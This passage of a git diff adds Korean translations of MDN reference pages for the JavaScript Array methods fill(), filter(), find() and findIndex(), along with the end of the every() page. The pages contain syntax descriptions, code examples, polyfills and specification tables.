+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/fill/index.html b/files/ko/web/javascript/reference/global_objects/array/fill/index.html
new file mode 100644
index 0000000000..5a18af7d24
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/fill/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/Array/fill
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>fill()</strong></code> 메서드는 배열의 시작 인덱스부터 끝 인덱스의 이전까지 정적인 값 하나로 채웁니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.fill(<var>value</var>[, <var>start<var>[, <var>end</var>]])</var></var></code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>배열을 채울 값.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>시작 인덱스, 기본 값은 0.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>끝 인덱스, 기본 값은 <code>this.length</code>.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>변형한 배열.</p>
+
+<h2 id="Description" name="Description">설명 </h2>
+
+<p><code>fill</code> 메서드는 <code>value</code>, <code>start</code>, <code>end</code>의 3개 인자를 가집니다. <code>start</code>와 <code>end</code> 인자는 선택 사항으로써 기본값으로 각각 <code>0</code>과, <code>this</code> 객체의 <code>length</code>를 가집니다.</p>
+
+<p><code>length</code>가 배열의 길이일 때, <code>start</code>가 음수이면 시작 인덱스는 <code>length+start</code>입니다. <code>end</code>가 음수이면 끝 인덱스는 <code>length+end</code>입니다.</p>
+
+<p><code>fill</code>은 일반 함수이며, <code>this</code> 값이 배열 객체일 필요는 없습니다.</p>
+
+<p><code>fill</code> 메서드는 변경자 메서드로, 복사본이 아니라 <code>this</code> 객체를 변형해 반환합니다.</p>
+
+<p><code>value</code>에 객체를 받을 경우 그 참조만 복사해서 배열을 채웁니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5);         // [1, 2, 3]
+Array(3).fill(4);                // [4, 4, 4]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Objects by reference.
+var arr = Array(3).fill({}); // [{}, {}, {}]
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">폴리필</h2>
+
+<pre><code>if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Steps 1-2.
+      if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // Steps 3-5.
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // Steps 6-7.
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // Step 8.
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Steps 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // Step 11.
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Step 12.
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Step 13.
+      return O;
+    }
+  });
+}</code></pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.fill")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/filter/index.html b/files/ko/web/javascript/reference/global_objects/array/filter/index.html
new file mode 100644
index 0000000000..9d1b623fd0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/filter/index.html
@@ -0,0 +1,231 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Global_Objects/Array/filter
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>filter()</strong></code> 메서드는 주어진 함수의 테스트를 통과하는 모든 요소를 모아 새로운 배열로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr.filter(callback(element[, index[, array]])[, thisArg])</var></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. <code>true</code>를 반환하면 요소를 유지하고, <code>false</code>를 반환하면 버립니다. 다음 세 가지 매개변수를 받습니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd><code>filter</code>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>테스트를 통과한 요소로 이루어진 새로운 배열. 어떤 요소도 테스트를 통과하지 못했으면 빈 배열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>filter()</code>는 배열 내 각 요소에 대해 한 번 제공된 <code>callback</code> 함수를 호출해, <code>callback</code>이 <a href="/ko/docs/Glossary/Truthy"><code>true</code>로 강제하는 값</a>을 반환하는 모든 값이 있는 새로운 배열을 생성합니다. <code>callback</code>은 할당된 값이 있는 배열의 인덱스에 대해서만 호출됩니다; 삭제됐거나 값이 할당된 적이 없는 인덱스에 대해서는 호출되지 않습니다. <code>callback</code> 테스트를 통과하지 못한 배열 요소는 그냥 건너뛰며 새로운 배열에 포함되지 않습니다.</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다:</p>
+
+<ol>
+ <li>요소값</li>
+ <li>요소 인덱스</li>
+ <li>순회(traverse)되는 배열 객체</li>
+</ol>
+
+<p><code>thisArg</code> 매개변수가 <code>filter</code>에 제공된 경우, 호출될 때 그 값은 <code>callback</code>의 <code>this</code> 값으로 전달됩니다.  그 이외에, <code>undefined</code>값도 <code>callback</code>의 <code>this</code> 값으로 쓰기 위해 전달됩니다. 결국 <code>callback</code>에 의해 관찰될 수 있는 <code>this</code> 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this"><code>this</code>를 결정하는 함수의 평소 규칙</a>에 따라 결정됩니다.</p>
+
+<p><code>filter()</code>는 호출되는 배열을 변화시키지(mutate) 않습니다.</p>
+
+<p><code>filter()</code>에 의해 처리되는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>filter()</code> 호출 시작 이후로 배열에 추가된 요소는 <code>callback</code>에 의해 방문되지 않습니다. 배열의 기존 요소가 변경 또는 삭제된 경우, <code>callback</code>에 전달된 그 값은 <code>filter()</code>가 그 요소를 방문한 시점에 값이 됩니다; 삭제된 요소는 반영되지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_작은_값_걸러내기">모든 작은 값 걸러내기</h3>
+
+<p>다음 예는 값이 10 이하인 모든 요소가 제거된 걸러진 배열을 만들기 위해 <code>filter()</code>를 사용합니다.</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+  return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered 는 [12, 130, 44]
+</pre>
+
+<h3 id="JSON에서_무효한_항목_거르기">JSON에서 무효한 항목 거르기</h3>
+
+<p>다음 예는 0이 아닌, 숫자 <code>id</code>인 모든 요소의 걸러진 json을 만들기 위해 <code>filter()</code>를 사용합니다.</p>
+
+<pre class="brush: js"><code>var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var invalidEntries = 0;
+
+function isNumber(obj) {
+  return obj !== undefined &amp;&amp; typeof(obj) === 'number' &amp;&amp; !isNaN(obj);
+}
+
+function filterByID(item) {
+  if (isNumber(item.id) &amp;&amp; item.id !== 0) {
+    return true;
+  }
+  invalidEntries++;
+  return false;
+}
+
+var arrByID = arr.filter(filterByID);
+
+console.log('Filtered Array\n', arrByID);
+// Filtered Array
+// [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Number of Invalid Entries = ', invalidEntries);
+// Number of Invalid Entries = 5</code>
+</pre>
+
+<h3 id="배열_내용_검색">배열 내용 검색</h3>
+
+<p>다음 예는 배열 내용을 조건에 따라 검색하기 위해 <code>filter()</code> 를 사용합니다.</p>
+
+<pre class="brush: js"><code>var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 검색 조건에 따른 배열 필터링(쿼리)
+ */
+function filterItems(query) {
+  return fruits.filter(function(el) {
+      return el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1;
+  })
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</code></pre>
+
+<h3 id="ES2015로_구현">ES2015로 구현</h3>
+
+<pre class="brush: js"><code>const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 검색 조건에 따른 배열 필터링(쿼리)
+ */
+const filterItems = (query) =&gt; {
+  return fruits.filter((el) =&gt;
+    el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1
+  );
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</code></pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">filter</span></font>는 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 환경에서도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">filter</span></font>를 사용할 수 있습니다. 아래 알고리즘은 <code>fn.call</code>의 계산 값이 원래의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="call() 메소드는 주어진 this 값 및 각각 전달된 인수와 함께 함수를 호출합니다."><code>Function.prototype.call()</code></a>과 같고, {{jsxref("Array.prototype.push()")}}가 변형되지 않은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter){
+  Array.prototype.filter = function(func, thisArg) {
+    'use strict';
+    if ( ! ((typeof func === 'Function' || typeof func === 'function') &amp;&amp; this) )
+        throw new TypeError();
+
+    var len = this.length &gt;&gt;&gt; 0,
+        res = new Array(len), // preallocate array
+        t = this, c = 0, i = -1;
+    if (thisArg === undefined){
+      while (++i !== len){
+        // checks to see if the key was set
+        if (i in this){
+          if (func(t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+    else{
+      while (++i !== len){
+        // checks to see if the key was set
+        if (i in this){
+          if (func.call(thisArg, t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+
+    res.length = c; // shrink down array to proper size
+    return res;
+  };
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/find/index.html b/files/ko/web/javascript/reference/global_objects/array/find/index.html
new file mode 100644
index 0000000000..92a0208a6b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/find/index.html
@@ -0,0 +1,226 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Global_Objects/Array/find
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>find()</strong></code><strong> </strong>메서드는 주어진 판별 함수를 만족하는 <strong>첫 번째 요소</strong>의 <strong>값</strong>을 반환합니다. 그런 요소가 없다면 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html")}}</div>
+
+
+
+<p>찾은 요소의 값 대신 <strong>인덱스</strong>를 반환하는 {{jsxref("Array.findIndex", "findIndex()")}} 메서드도 살펴보세요.</p>
+
+<p>배열 요소의 위치를 찾고자 하는 경우에는 {{jsxref("Array.prototype.indexOf()")}}를 사용하세요.</p>
+
+<p>배열 요소가 해당 배열에 존재하는지 확인하고자 하는 경우에는 {{jsxref("Array.prototype.indexOf()")}} 또는 {{jsxref("Array.prototype.includes()")}}를 사용세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>배열의 각 값에 대해 실행할 함수. 아래의 세 인자를 받습니다.
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>콜백함수에서 처리할 현재 요소.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>콜백함수에서 처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd><code>find</code> 함수를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 항목. 콜백이 호출될 때 <code>this</code>로 사용할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 판별 함수를 만족하는 <strong>첫 번째 요소</strong>의 <strong>값</strong>. 그 외에는 {{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>find</code> 메서드는 <code>callback</code> 함수가 참을 반환 할 때까지 해당 배열의 각 요소에 대해서 <code>callback</code> 함수를 실행합니다. 만약 어느 요소를 찾았다면 <code>find</code> 메서드는 해당 요소의 값을 즉시 반환하고, 그렇지 않았다면 {{jsxref("undefined")}}를 반환합니다. <code>callback</code>은 <code>0</code> 부터 <code>length - 1</code> 까지 배열의 모든 인덱스에 대해 호출되며, 값이 지정되지 않은 요소도 포함하여 모든 인덱스에 대해 호출됩니다. 따라서, 희소 배열 (sparse arrays)의 경우에는 값이 지정된 요소만 탐색하는 다른 메소드에 비해 더 비효율적입니다.</p>
+
+<p><code>callback</code>은 다음의 세가지 인자를 가지고 호출됩니다: 요소의 값, 요소의 인덱스, 순회의 대상이 되는 배열. </p>
+
+<p><code>thisArg</code> 파라미터가 주어진 경우에는 제공되었다면  <code>thisArg</code>가 <code>callback</code>안에서 <code>this</code>로 사용되고, 그렇지 않은 경우 {{jsxref("undefined")}} 가 <code>this</code>로 사용됩니다. </p>
+
+<p><code>find</code>는 호출의 대상이 된 배열을 변경(mutate)하지 않습니다.</p>
+
+<p><code>find</code>가 처리할 배열 요소의 범위는 첫 <code>callback</code>이 호출되기 전에 먼저 결정됩니다. <code>find</code>메서드가 실행 된 이후에 배열에 추가된 요소들에 대해서는 <code>callback</code>이 호출되지 않습니다. 아직 <code>callback</code>이 호출되지 않았던 배열 요소가 <code>callback</code>에 의해서 변경된 경우, <code>find</code>가 해당 요소의 인덱스를 방문할 때의 값으로 <code>callback</code>함수에 전달될 것입니다. 즉, 삭제된 요소에도 <code>callback</code>이 호출됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="속성_중_하나를_사용하여_배열에서_객체_찾기">속성 중 하나를 사용하여 배열에서 객체 찾기</h3>
+
+<pre class="brush: js">var inventory = [
+    {name: 'apples', quantity: 2},
+    {name: 'bananas', quantity: 0},
+    {name: 'cherries', quantity: 5}
+];
+
+function findCherries(fruit) {
+    return fruit.name === 'cherries';
+}
+
+console.log(inventory.find(findCherries)); // { name: 'cherries', quantity: 5 }
+</pre>
+
+<h4 id="ES2015_화살표_함수_사용하기">ES2015 화살표 함수 사용하기</h4>
+
+<p> </p>
+
+<pre class="brush: js">const inventory = [
+    {name: 'apples', quantity: 2},
+    {name: 'bananas', quantity: 0},
+    {name: 'cherries', quantity: 5}
+];
+
+const result = inventory.find(fruit =&gt; fruit.name === 'cherries');
+
+console.log(result) // { name: 'cherries', quantity: 5 }</pre>
+
+<p> </p>
+
+<h3 id="배열에서_소수_찾기">배열에서 소수 찾기</h3>
+
+<p>다음 예제에서는 배열의 요소 중 소수인 요소를 찾습니다(소수가 없는 경우에는 {{jsxref("undefined")}}를 반환).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, not found
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<h3 id="탐색_중_삭제된_배열_요소">탐색 중 삭제된 배열 요소</h3>
+
+<p>다음 예제에서는 삭제되어 존재하지 않는 배열의 요소에도 <code>callback</code>이 호출되어 해당 시점의 값이 <code>callback</code>에 전달되는 것을 보여줍니다.</p>
+
+<pre class="brush: js">// Declare array with no element at index 2, 3 and 4
+var a = [0,1,,,,5,6];
+
+// Shows all indexes, not just those that have been assigned values
+a.find(function(value, index) {
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+// Shows all indexes, including deleted
+  a.find(function(value, index) {
+  // Delete element 5 on first iteration
+  if (index == 0) {
+    console.log('Deleting a[5] with value ' + a[5]);
+    delete a[5];
+  }
+  // Element 5 is still visited even though deleted
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>find</code>는 ECMAScript 2015 명세에 추가됐으므로 어떤 표준 구현체에서는 사용지 못할 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 <code>find</code>를 지원하지 않는 환경에서도 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return kValue.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return kValue;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return undefined.
+      return undefined;
+    },
+    configurable: true,
+    writable: true
+  });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.find")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} – 찾기 이후 인덱스 반환</li>
+ <li>{{jsxref("Array.prototype.includes()")}} – 배열에 어떤 값이 존재하는지 검사</li>
+ <li>{{jsxref("Array.prototype.filter()")}} – 매칭되는 모든 요소 찾기</li>
+ <li>{{jsxref("Array.prototype.every()")}} – 모든 요소에 대해서 검사</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/findindex/index.html b/files/ko/web/javascript/reference/global_objects/array/findindex/index.html
new file mode 100644
index 0000000000..9406439e6a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/findindex/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>findIndex()</code></strong> 메서드는 <strong>주어진 판별 함수를 만족하는</strong> 배열의 첫 번째 요소에 대한 <strong>인덱스</strong>를 반환합니다. 만족하는 요소가 없으면 -1을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div>
+
+
+
+<p>인덱스 대신 <strong>값</strong>을 반환하는 {{jsxref("Array.prototype.find", "find()")}} 메서드도 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback(element</var>[, index[, array]])[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>3개의 인수를 취하여 배열의 각 값에 대해 실행할 함수입니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>배열에서 처리중인 현재 요소입니다.</dd>
+  <dt><code>index</code></dt>
+  <dd>배열에서 처리중인 현재 요소의 인덱스입니다.</dd>
+  <dt><code>array</code></dt>
+  <dd>findIndex 함수가 호출된 배열입니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 사항. 콜백을 실행할 때 this로 사용할 객체입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소가 테스트를 통과하면 배열의 인덱스. 그렇지 않으면 -1입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>findIndex 메서드는 콜백 함수가 진리 값 (true를 반환하는 값)을 반환 할 때까지 배열의 모든 배열 인덱스 0..length-1 (포함)에 대해 한 번씩 콜백 함수를 실행합니다. 이러한 요소가 발견되면 findIndex는 해당 반복에 대한 색인을 즉시 반환합니다. 콜백이 진리 값을 반환하지 않거나 배열의 길이가 0 인 경우 findIndex는 -1을 반환합니다. Array # some과 같은 다른 배열 메소드와는 달리, 배열에 존재하지 않는 엔트리의 인덱스에 대해서조차 콜백이 호출됩니다.</p>
+
+<p>콜백은 요소의 값, 요소의 인덱스 및 가로 지르는 <code>Array</code> 객체의 세 가지 인수로 호출됩니다.</p>
+
+<p>thisArg 매개 변수가 findIndex에 제공되면 콜백 호출마다 thisArg 매개 변수가 사용됩니다. 제공되지 않으면 {{jsxref ( "undefined")}}가 사용됩니다.</p>
+
+<p><code>findIndex</code>는 호출 된 배열을 변경하지 않습니다.</p>
+
+<p>findIndex에 의해 처리되는 요소의 범위는 콜백의 첫 번째 호출 전에 설정됩니다. findIndex 호출이 시작된 후 배열에 추가되는 요소는 콜백에 의해 방문되지 않습니다. 배열의 기존의 방문하지 않은 요소가 콜백에 의해 변경되면 방문 콜백에 전달 된 값은 findIndex가 해당 요소의 인덱스를 방문 할 때의 값이됩니다. 삭제된 요소도 방문합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열에서_소수의_색인_찾기">배열에서 소수의 색인 찾기</h3>
+
+<p>다음 예제에서는 배열에서 소수 (소수가없는 경우 -1을 반환) 인 요소의 인덱스를 찾습니다.</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, not found
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+      'use strict';
+      if (this == null) {
+        throw new TypeError('Array.prototype.findIndex called on null or undefined');
+      }
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+      var list = Object(this);
+      var length = list.length &gt;&gt;&gt; 0;
+      var thisArg = arguments[1];
+      var value;
+
+      for (var i = 0; i &lt; length; i++) {
+        value = list[i];
+        if (predicate.call(thisArg, value, i, list)) {
+          return i;
+        }
+      }
+      return -1;
+    },
+    enumerable: false,
+    configurable: false,
+    writable: false
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
